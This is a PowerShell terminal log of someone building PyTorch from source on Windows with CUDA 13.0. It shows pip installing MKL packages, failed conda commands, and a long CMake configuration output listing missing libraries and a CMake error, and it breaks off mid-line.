https://pypi.tuna.tsinghua.edu.cn/packages/d8/f0/3b9976df82906d8f3244213b6d8beb67cda19ab5b0645eb199da3c826127/mkl_static-2024.1.0-py2.py3-none-win_amd64.whl (220.8 MB) Collecting mkl-include==2024.1 Using cached https://pypi.tuna.tsinghua.edu.cn/packages/06/1b/f05201146f7f12bf871fa2c62096904317447846b5d23f3560a89b4bbaae/mkl_include-2024.1.0-py2.py3-none-win_amd64.whl (1.3 MB) Requirement already satisfied: intel-openmp==2024.* in e:\pytorch_build\pytorch\pytorch_env\lib\site-packages (from mkl-static==2024.1) (2024.2.1) Requirement already satisfied: tbb-devel==2021.* in e:\pytorch_build\pytorch\pytorch_env\lib\site-packages (from mkl-static==2024.1) (2021.13.1) Requirement already satisfied: intel-cmplr-lib-ur==2024.2.1 in e:\pytorch_build\pytorch\pytorch_env\lib\site-packages (from intel-openmp==2024.*->mkl-static==2024.1) (2024.2.1) Requirement already satisfied: tbb==2021.13.1 in e:\pytorch_build\pytorch\pytorch_env\lib\site-packages (from tbb-devel==2021.*->mkl-static==2024.1) (2021.13.1) Installing collected packages: mkl-include, mkl-static Successfully installed mkl-include-2024.1.0 mkl-static-2024.1.0 (pytorch_env) PS E:\PyTorch_Build\pytorch> (pytorch_env) PS E:\PyTorch_Build\pytorch> # 2. 安装libuv (pytorch_env) PS E:\PyTorch_Build\pytorch> conda install -c conda-forge libuv=1.46 conda: The term 'conda' is not recognized as a name of a cmdlet, function, script file, or executable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. (pytorch_env) PS E:\PyTorch_Build\pytorch> (pytorch_env) PS E:\PyTorch_Build\pytorch> # 3. 安装OpenSSL (pytorch_env) PS E:\PyTorch_Build\pytorch> conda install -c conda-forge openssl=3.1 conda: The term 'conda' is not recognized as a name of a cmdlet, function, script file, or executable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. (pytorch_env) PS E:\PyTorch_Build\pytorch> (pytorch_env) PS E:\PyTorch_Build\pytorch> # 4. 验证安装 (pytorch_env) PS E:\PyTorch_Build\pytorch> python -c "import mkl; print('MKL版本:', mkl.__version__)" Traceback (most recent call last): File "<string>", line 1, in <module> ModuleNotFoundError: No module named 'mkl' (pytorch_env) PS E:\PyTorch_Build\pytorch> conda list | Select-String "libuv|openssl" conda: The term 'conda' is not recognized as a name of a cmdlet, function, script file, or executable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. (pytorch_env) PS E:\PyTorch_Build\pytorch> # 验证所有关键组件 (pytorch_env) PS E:\PyTorch_Build\pytorch> python -c "import mkl; print('✓ MKL已安装')" Traceback (most recent call last): File "<string>", line 1, in <module> ModuleNotFoundError: No module named 'mkl' (pytorch_env) PS E:\PyTorch_Build\pytorch> conda list | Select-String "libuv|openssl" conda: The term 'conda' is not recognized as a name of a cmdlet, function, script file, or executable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. (pytorch_env) PS E:\PyTorch_Build\pytorch> dir "E:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v13.0\bin\cudnn*" (pytorch_env) PS E:\PyTorch_Build\pytorch> (pytorch_env) PS E:\PyTorch_Build\pytorch> # 验证环境变量 (pytorch_env) PS E:\PyTorch_Build\pytorch> python -c "import os; print('环境变量检查:'); >> print('CUDNN_PATH:', os.getenv('CUDA_PATH')); >> print('CONDA_PREFIX:', os.getenv('CONDA_PREFIX'))" 环境变量检查: CUDNN_PATH: E:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v13.0 CONDA_PREFIX: None (pytorch_env) PS E:\PyTorch_Build\pytorch> # 清理并重建 (pytorch_env) PS E:\PyTorch_Build\pytorch> Remove-Item -Recurse -Force build (pytorch_env) PS E:\PyTorch_Build\pytorch> python setup.py install Building wheel torch-2.9.0a0+git2d31c3d -- Building version 2.9.0a0+git2d31c3d E:\PyTorch_Build\pytorch\pytorch_env\lib\site-packages\setuptools\_distutils\_msvccompiler.py:12: UserWarning: _get_vc_env is private; find an alternative (pypa/distutils#340) warnings.warn( -- Checkout nccl release tag: v2.27.5-1 cmake -GNinja -DBUILD_PYTHON=True -DBUILD_TEST=True -DCMAKE_BUILD_TYPE=Release -DCMAKE_INSTALL_PREFIX=E:\PyTorch_Build\pytorch\torch -DCMAKE_PREFIX_PATH=E:\PyTorch_Build\pytorch\pytorch_env\Lib\site-packages -DPython_EXECUTABLE=E:\PyTorch_Build\pytorch\pytorch_env\Scripts\python.exe -DTORCH_BUILD_VERSION=2.9.0a0+git2d31c3d -DUSE_NUMPY=True E:\PyTorch_Build\pytorch CMake Deprecation Warning at CMakeLists.txt:18 (cmake_policy): The OLD behavior for policy CMP0126 will be removed from a future version of CMake. The cmake-policies(7) manual explains that the OLD behaviors of all policies are deprecated and that a policy should be set to OLD only under specific short-term circumstances. Projects should be ported to the NEW behavior and not rely on setting a policy to OLD. -- The CXX compiler identification is MSVC 19.44.35215.0 -- The C compiler identification is MSVC 19.44.35215.0 -- Detecting CXX compiler ABI info -- Detecting CXX compiler ABI info - done -- Check for working CXX compiler: C:/Program Files (x86)/Microsoft Visual Studio/2022/BuildTools/VC/Tools/MSVC/14.44.35207/bin/Hostx64/x64/cl.exe - skipped -- Detecting CXX compile features -- Detecting CXX compile features - done -- Detecting C compiler ABI info -- Detecting C compiler ABI info - done -- Check for working C compiler: C:/Program Files (x86)/Microsoft Visual Studio/2022/BuildTools/VC/Tools/MSVC/14.44.35207/bin/Hostx64/x64/cl.exe - skipped -- Detecting C compile features -- Detecting C compile features - done -- Not forcing any particular BLAS to be found CMake Warning at CMakeLists.txt:425 (message): TensorPipe cannot be used on Windows. Set it to OFF CMake Warning at CMakeLists.txt:427 (message): KleidiAI cannot be used on Windows. Set it to OFF CMake Warning at CMakeLists.txt:439 (message): Libuv is not installed in current conda env. Set USE_DISTRIBUTED to OFF. Please run command 'conda install -c conda-forge libuv=1.39' to install libuv. -- Performing Test C_HAS_AVX_1 -- Performing Test C_HAS_AVX_1 - Success -- Performing Test C_HAS_AVX2_1 -- Performing Test C_HAS_AVX2_1 - Success -- Performing Test C_HAS_AVX512_1 -- Performing Test C_HAS_AVX512_1 - Success -- Performing Test CXX_HAS_AVX_1 -- Performing Test CXX_HAS_AVX_1 - Success -- Performing Test CXX_HAS_AVX2_1 -- Performing Test CXX_HAS_AVX2_1 - Success -- Performing Test CXX_HAS_AVX512_1 -- Performing Test CXX_HAS_AVX512_1 - Success -- Current compiler supports avx2 extension. Will build perfkernels. -- Performing Test COMPILER_SUPPORTS_HIDDEN_VISIBILITY -- Performing Test COMPILER_SUPPORTS_HIDDEN_VISIBILITY - Failed -- Performing Test COMPILER_SUPPORTS_HIDDEN_INLINE_VISIBILITY -- Performing Test COMPILER_SUPPORTS_HIDDEN_INLINE_VISIBILITY - Failed -- Could not find hardware support for NEON on this machine. -- No OMAP3 processor on this machine. -- No OMAP4 processor on this machine. -- Compiler does not support SVE extension. Will not build perfkernels. CMake Warning at CMakeLists.txt:845 (message): x64 operating system is required for FBGEMM. Not compiling with FBGEMM. Turn this warning off by USE_FBGEMM=OFF. -- Performing Test HAS/UTF_8 -- Performing Test HAS/UTF_8 - Success -- Found CUDA: E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0 (found version "13.0") -- The CUDA compiler identification is NVIDIA 13.0.48 with host compiler MSVC 19.44.35215.0 -- Detecting CUDA compiler ABI info -- Detecting CUDA compiler ABI info - done -- Check for working CUDA compiler: E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0/bin/nvcc.exe - skipped -- Detecting CUDA compile features -- Detecting CUDA compile features - done -- Found CUDAToolkit: E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0/include (found version "13.0.48") -- PyTorch: CUDA detected: 13.0 -- PyTorch: CUDA nvcc is: E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0/bin/nvcc.exe -- PyTorch: CUDA toolkit directory: E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0 -- PyTorch: Header version is: 13.0 -- Found Python: E:\PyTorch_Build\pytorch\pytorch_env\Scripts\python.exe (found version "3.10.10") found components: Interpreter CMake Warning at cmake/public/cuda.cmake:140 (message): Failed to compute shorthash for libnvrtc.so Call Stack (most recent call first): cmake/Dependencies.cmake:44 (include) CMakeLists.txt:873 (include) -- Could NOT find CUDNN (missing: CUDNN_LIBRARY_PATH CUDNN_INCLUDE_PATH) CMake Warning at cmake/public/cuda.cmake:201 (message): Cannot find cuDNN library. Turning the option off Call Stack (most recent call first): cmake/Dependencies.cmake:44 (include) CMakeLists.txt:873 (include) -- Could NOT find CUSPARSELT (missing: CUSPARSELT_LIBRARY_PATH CUSPARSELT_INCLUDE_PATH) CMake Warning at cmake/public/cuda.cmake:226 (message): Cannot find cuSPARSELt library. Turning the option off Call Stack (most recent call first): cmake/Dependencies.cmake:44 (include) CMakeLists.txt:873 (include) -- Could NOT find CUDSS (missing: CUDSS_LIBRARY_PATH CUDSS_INCLUDE_PATH) CMake Warning at cmake/public/cuda.cmake:242 (message): Cannot find CUDSS library. Turning the option off Call Stack (most recent call first): cmake/Dependencies.cmake:44 (include) CMakeLists.txt:873 (include) -- USE_CUFILE is set to 0. Compiling without cuFile support -- Autodetected CUDA architecture(s): 12.0 CMake Warning at cmake/public/cuda.cmake:317 (message): pytorch is not compatible with `CMAKE_CUDA_ARCHITECTURES` and will ignore its value. Please configure `TORCH_CUDA_ARCH_LIST` instead. Call Stack (most recent call first): cmake/Dependencies.cmake:44 (include) CMakeLists.txt:873 (include) -- Added CUDA NVCC flags for: -gencode;arch=compute_120,code=sm_120 CMake Warning at cmake/Dependencies.cmake:95 (message): Not compiling with XPU. Could NOT find SYCL. Suppress this warning with -DUSE_XPU=OFF. Call Stack (most recent call first): CMakeLists.txt:873 (include) -- Building using own protobuf under third_party per request. -- Use custom protobuf build. CMake Warning at cmake/ProtoBuf.cmake:37 (message): Ancient protobuf forces CMake compatibility Call Stack (most recent call first): cmake/ProtoBuf.cmake:87 (custom_protobuf_find) cmake/Dependencies.cmake:107 (include) CMakeLists.txt:873 (include) CMake Deprecation Warning at third_party/protobuf/cmake/CMakeLists.txt:2 (cmake_minimum_required): Compatibility with CMake < 3.10 will be removed from a future version of CMake. Update the VERSION argument <min> value. Or, use the <min>...<max> syntax to tell CMake that the project requires at least <min> but has been updated to work with policies introduced by <max> or earlier. -- -- 3.13.0.0 -- Performing Test CMAKE_HAVE_LIBC_PTHREAD -- Performing Test CMAKE_HAVE_LIBC_PTHREAD - Failed -- Looking for pthread_create in pthreads -- Looking for pthread_create in pthreads - not found -- Looking for pthread_create in pthread -- Looking for pthread_create in pthread - not found -- Found Threads: TRUE -- Caffe2 protobuf include directory: $<BUILD_INTERFACE:E:/PyTorch_Build/pytorch/third_party/protobuf/src>$<INSTALL_INTERFACE:include> -- Trying to find preferred BLAS backend of choice: MKL -- MKL_THREADING = OMP -- Looking for sys/types.h -- Looking for sys/types.h - found -- Looking for stdint.h -- Looking for stdint.h - found -- Looking for stddef.h -- Looking for stddef.h - found -- Check size of void* -- Check size of void* - done -- MKL_THREADING = OMP CMake Warning at cmake/Dependencies.cmake:213 (message): MKL could not be found. Defaulting to Eigen Call Stack (most recent call first): CMakeLists.txt:873 (include) CMake Warning at cmake/Dependencies.cmake:279 (message): Preferred BLAS (MKL) cannot be found, now searching for a general BLAS library Call Stack (most recent call first): CMakeLists.txt:873 (include) -- MKL_THREADING = OMP -- Checking for [mkl_intel_lp64 - mkl_intel_thread - mkl_core - libiomp5md] -- Library mkl_intel_lp64: not found -- Checking for [mkl_intel - mkl_intel_thread - mkl_core - libiomp5md] -- Library mkl_intel: not found -- Checking for [mkl_intel_lp64 - mkl_intel_thread - mkl_core] -- Library mkl_intel_lp64: not found -- Checking for [mkl_intel - mkl_intel_thread - mkl_core] -- Library mkl_intel: not found -- Checking for [mkl_intel_lp64 - mkl_sequential - mkl_core] -- Library mkl_intel_lp64: not found -- Checking for [mkl_intel - mkl_sequential - mkl_core] -- Library mkl_intel: not found -- Checking for [mkl_intel_lp64 - mkl_core - libiomp5md - pthread] -- Library mkl_intel_lp64: not found -- Checking for [mkl_intel - mkl_core - libiomp5md - pthread] -- Library mkl_intel: not found -- Checking for [mkl_intel_lp64 - mkl_core - pthread] -- Library mkl_intel_lp64: not found -- Checking for [mkl_intel - mkl_core - pthread] -- Library mkl_intel: not found -- Checking for [mkl - guide - pthread - m] -- Library mkl: not found -- MKL library not found -- Checking for [blis] -- Library blis: BLAS_blis_LIBRARY-NOTFOUND -- Checking for [Accelerate] -- Library Accelerate: BLAS_Accelerate_LIBRARY-NOTFOUND -- Checking for [vecLib] -- Library vecLib: BLAS_vecLib_LIBRARY-NOTFOUND -- Checking for [flexiblas] -- Library flexiblas: BLAS_flexiblas_LIBRARY-NOTFOUND -- Checking for [openblas] -- Library openblas: BLAS_openblas_LIBRARY-NOTFOUND -- Checking for [openblas - pthread - m] -- Library openblas: BLAS_openblas_LIBRARY-NOTFOUND -- Checking for [openblas - pthread - m - gomp] -- Library openblas: BLAS_openblas_LIBRARY-NOTFOUND -- Checking for [libopenblas] -- Library libopenblas: BLAS_libopenblas_LIBRARY-NOTFOUND -- Checking for [goto2 - gfortran] -- Library goto2: BLAS_goto2_LIBRARY-NOTFOUND -- Checking for [goto2 - gfortran - pthread] -- Library goto2: BLAS_goto2_LIBRARY-NOTFOUND -- Checking for [acml - gfortran] -- Library acml: BLAS_acml_LIBRARY-NOTFOUND -- Checking for [blis] -- Library blis: BLAS_blis_LIBRARY-NOTFOUND -- Could NOT find Atlas (missing: Atlas_CBLAS_INCLUDE_DIR Atlas_CLAPACK_INCLUDE_DIR Atlas_CBLAS_LIBRARY Atlas_BLAS_LIBRARY Atlas_LAPACK_LIBRARY) -- Checking for [ptf77blas - atlas - gfortran] -- Library ptf77blas: BLAS_ptf77blas_LIBRARY-NOTFOUND -- Checking for [] -- Looking for sgemm_ -- Looking for sgemm_ - not found -- Cannot find a library with BLAS API. Not using BLAS. -- Using pocketfft in directory: E:/PyTorch_Build/pytorch/third_party/pocketfft/ CMake Deprecation Warning at third_party/pthreadpool/CMakeLists.txt:1 (CMAKE_MINIMUM_REQUIRED): Compatibility with CMake < 3.10 will be removed from a future version of CMake. Update the VERSION argument <min> value. Or, use the <min>...<max> syntax to tell CMake that the project requires at least <min> but has been updated to work with policies introduced by <max> or earlier. CMake Deprecation Warning at third_party/FXdiv/CMakeLists.txt:1 (CMAKE_MINIMUM_REQUIRED): Compatibility with CMake < 3.10 will be removed from a future version of CMake. Update the VERSION argument <min> value. Or, use the <min>...<max> syntax to tell CMake that the project requires at least <min> but has been updated to work with policies introduced by <max> or earlier. CMake Deprecation Warning at third_party/cpuinfo/CMakeLists.txt:1 (CMAKE_MINIMUM_REQUIRED): Compatibility with CMake < 3.10 will be removed from a future version of CMake. Update the VERSION argument <min> value. Or, use the <min>...<max> syntax to tell CMake that the project requires at least <min> but has been updated to work with policies introduced by <max> or earlier. -- The ASM compiler identification is MSVC CMake Warning (dev) at pytorch_env/Lib/site-packages/cmake/data/share/cmake-4.1/Modules/CMakeDetermineASMCompiler.cmake:234 (message): Policy CMP194 is not set: MSVC is not an assembler for language ASM. Run "cmake --help-policy CMP194" for policy details. Use the cmake_policy command to set the policy and suppress this warning. Call Stack (most recent call first): third_party/XNNPACK/CMakeLists.txt:18 (PROJECT) This warning is for project developers. Use -Wno-dev to suppress it. -- Found assembler: C:/Program Files (x86)/Microsoft Visual Studio/2022/BuildTools/VC/Tools/MSVC/14.44.35207/bin/Hostx64/x64/cl.exe -- Building for XNNPACK_TARGET_PROCESSOR: x86_64 -- Generating microkernels.cmake Duplicate microkernel definition: src\qs8-qc4w-packw\gen\qs8-qc4w-packw-x8c8-gemm-goi-avx256vnni.c and src\qs8-qc4w-packw\gen\qs8-qc4w-packw-x8c8-gemm-goi-avxvnni.c (1th function) Duplicate microkernel definition: src\qs8-qc4w-packw\gen\qs8-qc4w-packw-x8c8-gemm-goi-avxvnni.c and src\qs8-qc4w-packw\gen\qs8-qc4w-packw-x8c8-gemm-goi-scalar.c No microkernel found in src\reference\binary-elementwise.cc No microkernel found in src\reference\packing.cc No microkernel found in src\reference\unary-elementwise.cc -- Found Git: E:/Program Files/Git/cmd/git.exe (found version "2.51.0.windows.1") -- Google Benchmark version: v1.9.3, normalized to 1.9.3 -- Looking for shm_open in rt -- Looking for shm_open in rt - not found -- Performing Test HAVE_CXX_FLAG_WX -- Performing Test HAVE_CXX_FLAG_WX - Success -- Compiling and running to test HAVE_STD_REGEX -- Performing Test HAVE_STD_REGEX -- success -- Compiling and running to test HAVE_GNU_POSIX_REGEX -- Performing Test HAVE_GNU_POSIX_REGEX -- failed to compile -- Compiling and running to test HAVE_POSIX_REGEX -- Performing Test HAVE_POSIX_REGEX -- failed to compile -- Compiling and running to test HAVE_STEADY_CLOCK -- Performing Test HAVE_STEADY_CLOCK -- success -- Compiling and running to test HAVE_PTHREAD_AFFINITY -- Performing Test HAVE_PTHREAD_AFFINITY -- failed to compile CMake Deprecation Warning at third_party/ittapi/CMakeLists.txt:7 (cmake_minimum_required): Compatibility with CMake < 3.10 will be removed from a future version of CMake. Update the VERSION argument <min> value. Or, use the <min>...<max> syntax to tell CMake that the project requires at least <min> but has been updated to work with policies introduced by <max> or earlier. CMake Warning at cmake/Dependencies.cmake:749 (message): FP16 is only cmake-2.8 compatible Call Stack (most recent call first): CMakeLists.txt:873 (include) CMake Deprecation Warning at third_party/FP16/CMakeLists.txt:1 (CMAKE_MINIMUM_REQUIRED): Compatibility with CMake < 3.10 will be removed from a future version of CMake. Update the VERSION argument <min> value. Or, use the <min>...<max> syntax to tell CMake that the project requires at least <min> but has been updated to work with policies introduced by <max> or earlier. CMake Deprecation Warning at third_party/psimd/CMakeLists.txt:1 (CMAKE_MINIMUM_REQUIRED): Compatibility with CMake < 3.10 will be removed from a future version of CMake. Update the VERSION argument <min> value. Or, use the <min>...<max> syntax to tell CMake that the project requires at least <min> but has been updated to work with policies introduced by <max> or earlier. -- Using third party subdirectory Eigen. -- Found Python: E:\PyTorch_Build\pytorch\pytorch_env\Scripts\python.exe (found version "3.10.10") found components: Interpreter Development.Module missing components: NumPy CMake Warning at cmake/Dependencies.cmake:826 (message): NumPy could not be found. Not building with NumPy. Suppress this warning with -DUSE_NUMPY=OFF Call Stack (most recent call first): CMakeLists.txt:873 (include) -- Using third_party/pybind11. -- pybind11 include dirs: E:/PyTorch_Build/pytorch/cmake/../third_party/pybind11/include -- Could NOT find OpenTelemetryApi (missing: OpenTelemetryApi_INCLUDE_DIRS) -- Using third_party/opentelemetry-cpp. -- opentelemetry api include dirs: E:/PyTorch_Build/pytorch/cmake/../third_party/opentelemetry-cpp/api/include -- Could NOT find MPI_C (missing: MPI_C_LIB_NAMES MPI_C_HEADER_DIR MPI_C_WORKS) -- Could NOT find MPI_CXX (missing: MPI_CXX_LIB_NAMES MPI_CXX_HEADER_DIR MPI_CXX_WORKS) -- Could NOT find MPI (missing: MPI_C_FOUND MPI_CXX_FOUND) CMake Warning at cmake/Dependencies.cmake:894 (message): Not compiling with MPI. Suppress this warning with -DUSE_MPI=OFF Call Stack (most recent call first): CMakeLists.txt:873 (include) -- MKL_THREADING = OMP -- Check OMP with lib C:/Program Files (x86)/Microsoft Visual Studio/2022/BuildTools/VC/Tools/MSVC/14.44.35207/lib/x64/libomp.lib and flags -openmp:experimental -- MKL_THREADING = OMP -- Check OMP with lib C:/Program Files (x86)/Microsoft Visual Studio/2022/BuildTools/VC/Tools/MSVC/14.44.35207/lib/x64/libomp.lib and flags -openmp:experimental -- Found OpenMP_C: -openmp:experimental -- Found OpenMP_CXX: -openmp:experimental -- Found OpenMP: TRUE -- Adding OpenMP CXX_FLAGS: -openmp:experimental -- Will link against OpenMP libraries: C:/Program Files (x86)/Microsoft Visual Studio/2022/BuildTools/VC/Tools/MSVC/14.44.35207/lib/x64/libomp.lib -- Found nvtx3: E:/PyTorch_Build/pytorch/third_party/NVTX/c/include -- ROCM_PATH environment variable is not set and C:/opt/rocm does not exist. Building without ROCm support. -- Found Python3: E:\PyTorch_Build\pytorch\pytorch_env\Scripts\python.exe (found version "3.10.10") found components: Interpreter -- ONNX_PROTOC_EXECUTABLE: $<TARGET_FILE:protobuf::protoc> -- Protobuf_VERSION: Protobuf_VERSION_NOTFOUND Generated: E:/PyTorch_Build/pytorch/build/third_party/onnx/onnx/onnx_onnx_torch-ml.proto Generated: E:/PyTorch_Build/pytorch/build/third_party/onnx/onnx/onnx-operators_onnx_torch-ml.proto Generated: E:/PyTorch_Build/pytorch/build/third_party/onnx/onnx/onnx-data_onnx_torch.proto -- -- ******** Summary ******** -- CMake version : 4.1.0 -- CMake command : E:/PyTorch_Build/pytorch/pytorch_env/Lib/site-packages/cmake/data/bin/cmake.exe -- System : Windows -- C++ compiler : C:/Program Files (x86)/Microsoft Visual Studio/2022/BuildTools/VC/Tools/MSVC/14.44.35207/bin/Hostx64/x64/cl.exe -- C++ compiler version : 19.44.35215.0 -- CXX flags : /DWIN32 /D_WINDOWS /EHsc /Zc:__cplusplus /bigobj /FS /utf-8 -DUSE_PTHREADPOOL /EHsc /wd26812 -- Build type : Release -- Compile definitions : ONNX_ML=1;ONNXIFI_ENABLE_EXT=1 -- CMAKE_PREFIX_PATH : E:\PyTorch_Build\pytorch\pytorch_env\Lib\site-packages;E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0;E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0;E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0 -- CMAKE_INSTALL_PREFIX : E:/PyTorch_Build/pytorch/torch -- CMAKE_MODULE_PATH : E:/PyTorch_Build/pytorch/cmake/Modules;E:/PyTorch_Build/pytorch/cmake/public/../Modules_CUDA_fix -- -- ONNX version : 1.18.0 -- ONNX NAMESPACE : onnx_torch -- ONNX_USE_LITE_PROTO : OFF -- USE_PROTOBUF_SHARED_LIBS : OFF -- ONNX_DISABLE_EXCEPTIONS : OFF -- ONNX_DISABLE_STATIC_REGISTRATION : OFF -- ONNX_WERROR : OFF -- ONNX_BUILD_TESTS : OFF -- BUILD_SHARED_LIBS : OFF -- -- Protobuf compiler : $<TARGET_FILE:protobuf::protoc> -- Protobuf includes : -- Protobuf libraries : -- ONNX_BUILD_PYTHON : OFF -- Found CUDA with FP16 support, compiling with torch.cuda.HalfTensor -- Adding -DNDEBUG to compile flags -- Checking prototype magma_get_sgeqrf_nb for MAGMA_V2 -- Checking prototype magma_get_sgeqrf_nb for MAGMA_V2 - False -- MAGMA not found. Compiling without MAGMA support -- Could not find hardware support for NEON on this machine. -- No OMAP3 processor on this machine. -- No OMAP4 processor on this machine. -- MKL_THREADING = OMP -- Checking for [mkl_intel_lp64 - mkl_intel_thread - mkl_core - libiomp5md] -- Library mkl_intel_lp64: not found -- Checking for [mkl_intel - mkl_intel_thread - mkl_core - libiomp5md] -- Library mkl_intel: not found -- Checking for [mkl_intel_lp64 - mkl_intel_thread - mkl_core] -- Library mkl_intel_lp64: not found -- Checking for [mkl_intel - mkl_intel_thread - mkl_core] -- Library mkl_intel: not found -- Checking for [mkl_intel_lp64 - mkl_sequential - mkl_core] -- Library mkl_intel_lp64: not found -- Checking for [mkl_intel - mkl_sequential - mkl_core] -- Library mkl_intel: not found -- Checking for [mkl_intel_lp64 - mkl_core - libiomp5md - pthread] -- Library mkl_intel_lp64: not found -- Checking for [mkl_intel - mkl_core - libiomp5md - pthread] -- Library mkl_intel: not found -- Checking for [mkl_intel_lp64 - mkl_core - pthread] -- Library mkl_intel_lp64: not found -- Checking for [mkl_intel - mkl_core - pthread] -- Library mkl_intel: not found -- Checking for [mkl - guide - pthread - m] -- Library mkl: not found -- MKL library not found -- Checking for [blis] -- Library blis: BLAS_blis_LIBRARY-NOTFOUND -- Checking for [Accelerate] -- Library Accelerate: BLAS_Accelerate_LIBRARY-NOTFOUND -- Checking for [vecLib] -- Library vecLib: BLAS_vecLib_LIBRARY-NOTFOUND -- Checking for [flexiblas] -- Library flexiblas: BLAS_flexiblas_LIBRARY-NOTFOUND -- Checking for [openblas] -- Library openblas: BLAS_openblas_LIBRARY-NOTFOUND -- Checking for [openblas - pthread - m] -- Library openblas: BLAS_openblas_LIBRARY-NOTFOUND -- Checking for [openblas - pthread - m - gomp] -- Library openblas: BLAS_openblas_LIBRARY-NOTFOUND -- Checking for [libopenblas] -- Library libopenblas: BLAS_libopenblas_LIBRARY-NOTFOUND -- Checking for [goto2 - gfortran] -- Library goto2: BLAS_goto2_LIBRARY-NOTFOUND -- Checking for [goto2 - gfortran - pthread] -- Library goto2: BLAS_goto2_LIBRARY-NOTFOUND -- Checking for [acml - gfortran] -- Library acml: BLAS_acml_LIBRARY-NOTFOUND -- Checking for [blis] -- Library blis: BLAS_blis_LIBRARY-NOTFOUND -- Could NOT find Atlas (missing: Atlas_CBLAS_INCLUDE_DIR Atlas_CLAPACK_INCLUDE_DIR Atlas_CBLAS_LIBRARY Atlas_BLAS_LIBRARY Atlas_LAPACK_LIBRARY) -- Checking for [ptf77blas - atlas - gfortran] -- Library ptf77blas: BLAS_ptf77blas_LIBRARY-NOTFOUND -- Checking for [] -- Cannot find a library with BLAS API. Not using BLAS. -- LAPACK requires BLAS -- Cannot find a library with LAPACK API. Not using LAPACK. disabling ROCM because NOT USE_ROCM is set -- MIOpen not found. Compiling without MIOpen support disabling MKLDNN because USE_MKLDNN is not set -- {fmt} version: 11.2.0 -- Build type: Release -- Using Kineto with CUPTI support -- Configuring Kineto dependency: -- KINETO_SOURCE_DIR = E:/PyTorch_Build/pytorch/third_party/kineto/libkineto -- KINETO_BUILD_TESTS = OFF -- KINETO_LIBRARY_TYPE = static -- CUDA_SOURCE_DIR = E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0 -- CUDA_INCLUDE_DIRS = E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0/include -- CUPTI_INCLUDE_DIR = E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0/extras/CUPTI/include -- CUDA_cupti_LIBRARY = E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0/extras/CUPTI/lib64/cupti.lib -- Found CUPTI CMake Deprecation Warning at third_party/kineto/libkineto/CMakeLists.txt:7 (cmake_minimum_required): Compatibility with CMake < 3.10 will be removed from a future version of CMake. Update the VERSION argument <min> value. Or, use the <min>...<max> syntax to tell CMake that the project requires at least <min> but has been updated to work with policies introduced by <max> or earlier. CMake Warning (dev) at third_party/kineto/libkineto/CMakeLists.txt:15 (find_package): Policy CMP0148 is not set: The FindPythonInterp and FindPythonLibs modules are removed. Run "cmake --help-policy CMP0148" for policy details. Use the cmake_policy command to set the policy and suppress this warning. This warning is for project developers. Use -Wno-dev to suppress it. -- Found PythonInterp: E:/PyTorch_Build/pytorch/pytorch_env/Scripts/python.exe (found version "3.10.10") -- ROCM_SOURCE_DIR = -- Kineto: FMT_SOURCE_DIR = E:/PyTorch_Build/pytorch/third_party/fmt -- Kineto: FMT_INCLUDE_DIR = E:/PyTorch_Build/pytorch/third_party/fmt/include -- CUPTI_INCLUDE_DIR = E:/Program Files/NVIDIA GPU Computing Toolkit/CUDA/v13.0/extras/CUPTI/include -- ROCTRACER_INCLUDE_DIR = /include/roctracer -- DYNOLOG_INCLUDE_DIR = E:/PyTorch_Build/pytorch/third_party/kineto/libkineto/third_party/dynolog/ -- IPCFABRIC_INCLUDE_DIR = E:/PyTorch_Build/pytorch/third_party/kineto/libkineto/third_party/dynolog//dynolog/src/ipcfabric/ -- Configured Kineto -- Performing Test HAS/WD4624 -- Performing Test HAS/WD4624 - Success -- Performing Test HAS/WD4068 -- Performing Test HAS/WD4068 - Success -- Performing Test HAS/WD4067 -- Performing Test HAS/WD4067 - Success -- Performing Test HAS/WD4267 -- Performing Test HAS/WD4267 - Success -- Performing Test HAS/WD4661 -- Performing Test HAS/WD4661 - Success -- Performing Test HAS/WD4717 -- Performing Test HAS/WD4717 - Success -- Performing Test HAS/WD4244 -- Performing Test HAS/WD4244 - Success -- Performing Test HAS/WD4804 -- Performing Test HAS/WD4804 - Success -- Performing Test HAS/WD4273 -- Performing Test HAS/WD4273 - Success -- Performing Test HAS_WNO_STRINGOP_OVERFLOW -- Performing Test HAS_WNO_STRINGOP_OVERFLOW - Failed -- -- Architecture: x64 -- Use the C++ compiler to compile (MI_USE_CXX=ON) -- -- Library name : mimalloc -- Version : 2.2.4 -- Build type : release -- C++ Compiler : C:/Program Files (x86)/Microsoft Visual Studio/2022/BuildTools/VC/Tools/MSVC/14.44.35207/bin/Hostx64/x64/cl.exe -- Compiler flags : /Zc:__cplusplus -- Compiler defines : MI_CMAKE_BUILD_TYPE=release;MI_BUILD_RELEASE -- Link libraries : psapi;shell32;user32;advapi32;bcrypt -- Build targets : static -- CMake Error at CMakeLists.txt:1264 (add_subdirectory): The source directory E:/PyTorch_Build/pytorch/torch/headeronly does not contain a CMakeLists.txt file. -- don't use NUMA -- Looking for backtrace -- Looking for backtrace - not found -- Could NOT find Backtrace (missing: Backtrace_LIBRARY Backtrace_INCLUDE_DIR) -- Autodetected CUDA architecture(s): 12.0 -- Autodetected CUDA architecture(s): 12.0 -- Autodetected CUDA architecture(s): 12.0 -- headers outputs: torch\csrc\inductor\aoti_torch\generated\c_shim_cpu.h not found torch\csrc\inductor\aoti_torch\generated\c_shim_aten.h not found torch\csrc\inductor\aoti_torch\generated\c_shim_cuda.h not found -- sources outputs: -- declarations_yaml outputs: -- Performing Test COMPILER_SUPPORTS_NO_AVX256_SPLIT -- Performing Test 